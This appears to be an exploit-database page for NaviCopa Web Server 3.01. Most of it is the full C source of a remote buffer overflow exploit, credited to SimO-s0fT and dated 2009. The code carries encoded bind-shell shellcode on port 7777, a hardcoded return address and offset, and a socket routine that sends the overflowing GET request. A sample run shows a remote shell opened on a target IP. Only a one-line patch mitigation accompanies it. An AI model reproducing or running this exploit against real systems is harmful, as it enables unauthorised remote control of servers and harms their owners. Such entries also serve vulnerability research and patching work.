header-logo
Suggest Exploit
vendor:
NaviCopa Web Server
by:
SimO-s0fT
7,5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: NaviCopa Web Server
Affected Version From: 3.01
Affected Version To: 3.01
Patch Exists: YES
Related CWE: N/A
CPE: a:navicopa:navicopa_webserver:3.01
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP2 Francais, Win2k SP4 English
2009

NaviCopa Web Server 3.01 Remote Buffer Overflow Exploit

This exploit is for NaviCopa Web Server 3.01. It is a remote buffer overflow exploit which allows an attacker to gain remote access to the system. It was tested on Windows XP SP2 Francais and Win2k SP4 English. The exploit code binds a shell to port 7777.

Mitigation:

The user should update to the latest version of NaviCopa Web Server and apply the latest security patches.
Source

Exploit-DB raw data:

/* navicpnt_xp1.c
*  NaviCopa Web Server 3.01 Remote Buffer Overflow Exploit
*  Cresit : http://milw0rm.com/exploits/7966  >> Thanks To: e.wiZz!
*
*  Coded by : SimO-s0fT >> Madridista ;)
*  E-mail : Overflows[at]Hotmail[dot]com
*  Tested on Windows XP SP2 Francais , Win2k SP4 english
*  Example :
           C:\Documents and Settings\Simo>navicpnt_xp1.exe  196.217.213.25
*  ________________________________________________________________________________
*
*        NaviCopa 3.01 Remote Buffer Overflow Exploit
*        Coded By : SimO-s0fT [overflows@hotmail.com ]
*
* ____________________________________________________________________________
*
* [+] Connection established
* [+] Sending data... [Done]
*
* C:\Documents and Settings\Simo>telnet 196.217.213.25 7777
* Microsoft Windows XP [version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* Peace out
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#define SOCKET int
#define closesocket(s) close(s)
#endif

/* Bind Shell open port 7777 */
char scode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61"
"\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x71\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x4b\x4c\x32"
"\x4a\x5a\x4b\x50\x4d\x6d\x38\x6b\x49\x49\x6f\x59\x6f\x39\x6f\x35"
"\x30\x6c\x4b\x70\x6c\x65\x74\x37\x54\x4c\x4b\x42\x65\x47\x4c\x6e"
"\x6b\x31\x6c\x46\x65\x33\x48\x43\x31\x48\x6f\x6c\x4b\x70\x4f\x65"
"\x48\x6c\x4b\x73\x6f\x35\x70\x37\x71\x38\x6b\x31\x59\x4c\x4b\x46"
"\x54\x6e\x6b\x53\x31\x58\x6e\x30\x31\x6f\x30\x4f\x69\x4e\x4c\x4b"
"\x34\x49\x50\x41\x64\x46\x67\x49\x51\x7a\x6a\x46\x6d\x43\x31\x48"
"\x42\x5a\x4b\x38\x74\x47\x4b\x30\x54\x64\x64\x51\x38\x42\x55\x4b"
"\x55\x4e\x6b\x53\x6f\x51\x34\x43\x31\x4a\x4b\x50\x66\x4e\x6b\x46"
"\x6c\x42\x6b\x4c\x4b\x73\x6f\x75\x4c\x33\x31\x5a\x4b\x65\x53\x34"
"\x6c\x6e\x6b\x6d\x59\x30\x6c\x57\x54\x55\x4c\x55\x31\x4b\x73\x74"
"\x71\x69\x4b\x65\x34\x6e\x6b\x43\x73\x74\x70\x6c\x4b\x67\x30\x46"
"\x6c\x6c\x4b\x70\x70\x67\x6c\x6e\x4d\x6c\x4b\x57\x30\x44\x48\x71"
"\x4e\x72\x48\x4e\x6e\x50\x4e\x54\x4e\x38\x6c\x70\x50\x4b\x4f\x4e"
"\x36\x71\x76\x41\x43\x31\x76\x31\x78\x76\x53\x30\x32\x53\x58\x30"
"\x77\x44\x33\x57\x42\x63\x6f\x70\x54\x6b\x4f\x48\x50\x73\x58\x58"
"\x4b\x58\x6d\x6b\x4c\x57\x4b\x70\x50\x6b\x4f\x6a\x76\x71\x4f\x6d"
"\x59\x4b\x55\x65\x36\x6c\x41\x68\x6d\x53\x38\x63\x32\x42\x75\x51"
"\x7a\x36\x62\x59\x6f\x58\x50\x71\x78\x4a\x79\x34\x49\x4b\x45\x6e"
"\x4d\x30\x57\x69\x6f\x4e\x36\x52\x73\x41\x43\x62\x73\x76\x33\x51"
"\x43\x70\x43\x43\x63\x73\x73\x36\x33\x6b\x4f\x4a\x70\x75\x36\x41"
"\x78\x75\x4e\x71\x71\x35\x36\x42\x73\x4b\x39\x79\x71\x6c\x55\x70"
"\x68\x4f\x54\x75\x4a\x32\x50\x39\x57\x52\x77\x69\x6f\x38\x56\x70"
"\x6a\x72\x30\x50\x51\x53\x65\x4b\x4f\x58\x50\x55\x38\x6c\x64\x4c"
"\x6d\x34\x6e\x49\x79\x66\x37\x6b\x4f\x4e\x36\x50\x53\x30\x55\x69"
"\x6f\x4a\x70\x53\x58\x7a\x45\x41\x59\x4e\x66\x37\x39\x36\x37\x69"
"\x6f\x59\x46\x72\x70\x50\x54\x31\x44\x33\x65\x4b\x4f\x5a\x70\x4f"
"\x63\x51\x78\x38\x67\x50\x79\x38\x46\x43\x49\x32\x77\x4b\x4f\x4b"
"\x66\x62\x75\x79\x6f\x6a\x70\x45\x36\x30\x6a\x52\x44\x30\x66\x41"
"\x78\x32\x43\x72\x4d\x6f\x79\x6d\x35\x62\x4a\x42\x70\x70\x59\x74"
"\x69\x5a\x6c\x6c\x49\x6b\x57\x41\x7a\x32\x64\x6b\x39\x68\x62\x30"
"\x31\x6f\x30\x6b\x43\x6e\x4a\x6b\x4e\x51\x52\x34\x6d\x49\x6e\x62"
"\x62\x36\x4c\x5a\x33\x6c\x4d\x71\x6a\x65\x68\x6e\x4b\x4c\x6b\x4e"
"\x4b\x55\x38\x30\x72\x59\x6e\x4c\x73\x37\x66\x4b\x4f\x30\x75\x63"
"\x74\x39\x6f\x6e\x36\x33\x6b\x36\x37\x72\x72\x31\x41\x31\x41\x46"
"\x31\x50\x6a\x55\x51\x31\x41\x41\x41\x32\x75\x42\x71\x39\x6f\x48"
"\x50\x50\x68\x6c\x6d\x39\x49\x45\x55\x78\x4e\x30\x53\x39\x6f\x6b"
"\x66\x62\x4a\x79\x6f\x39\x6f\x47\x47\x39\x6f\x58\x50\x4e\x6b\x50"
"\x57\x4b\x4c\x6c\x43\x4b\x74\x70\x64\x6b\x4f\x6a\x76\x41\x42\x49"
"\x6f\x58\x50\x30\x68\x68\x6f\x6a\x6e\x4b\x50\x31\x70\x42\x73\x49"
"\x6f\x58\x56\x49\x6f\x78\x50\x61";


#define OFFSET    232
#define NOP    0x90


int main(int argc, char *argv[]){
    SOCKET s;
    char *buffer;
    struct sockaddr_in their_addr;
    WSADATA wsa;
    char cmd_1[]="GET ";
    char cmd_2[]=" HTTP/1.1\r\n\r\n\x00";
    char Nop[40];
    int i=0;
    int ret_addr=0x7c9d2643;
    
    system("CLS");
    fprintf(stdout,"_________________________________________________________________________________________________________________\n\n");
    fprintf(stdout,"\t NaviCopa Web Server  3.01 Remote Buffer Overflow Exploit \n\t Coded By : SimO-s0fT [overflows@hotmail.com ]\n\n");
    fprintf(stdout,"_________________________________________________________________________________________________________________\n\n");
    
    if(argc!=2){
                printf("USAGE : %s [IP ADDRESSE]\n",argv[0]);
                printf("Example: navicpnt_xp1.exe  196.217.213.25\n");
                }
    if(WSAStartup(MAKEWORD(2, 0), &wsa) ==0){
        if((s =socket(AF_INET ,SOCK_STREAM, IPPROTO_TCP)) !=-1){
            
            their_addr.sin_family = AF_INET;
            their_addr.sin_addr.s_addr = inet_addr(argv[1]);
            their_addr.sin_port = htons(80);
    
    if(connect (s , (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) !=-1){
        printf("[+] Connection established\n");
        
    
    buffer = (char*) malloc (4 + OFFSET +4+strlen(scode)+ strlen(cmd_2)+strlen(Nop));
    memset(buffer,0x41, 4 + OFFSET + 4+strlen(scode)+ strlen(cmd_2)+strlen(Nop));
    
    memcpy(buffer,cmd_1,4);                      
    i=4;
    
    i=0; i=OFFSET;
    
    memcpy(buffer+i,&ret_addr,4);            
    i+=4;
    
    memset(buffer+i,0x90,strlen(Nop));
    i+=40;
    memcpy(buffer+i,scode,strlen(scode));
    i+=strlen(scode);
    
    memcpy(buffer+i,cmd_2,strlen(cmd_2));
    i+=strlen(cmd_2);
    
    
    if(send(s,buffer,strlen(buffer), 0) !=-1){
        printf("[+] Sending data... ");
        printf("[Done]\n");
                        } else printf("[-] Send error\n");
                    
                } else printf("[-]Connect error \n");
                
          } else printf("[-]Socket error \n");
            
    } else printf("[-] WSAStartup error\n");

  closesocket(s);
  WSACleanup();
  free(buffer);
return 0;
}

// milw0rm.com [2009-08-24]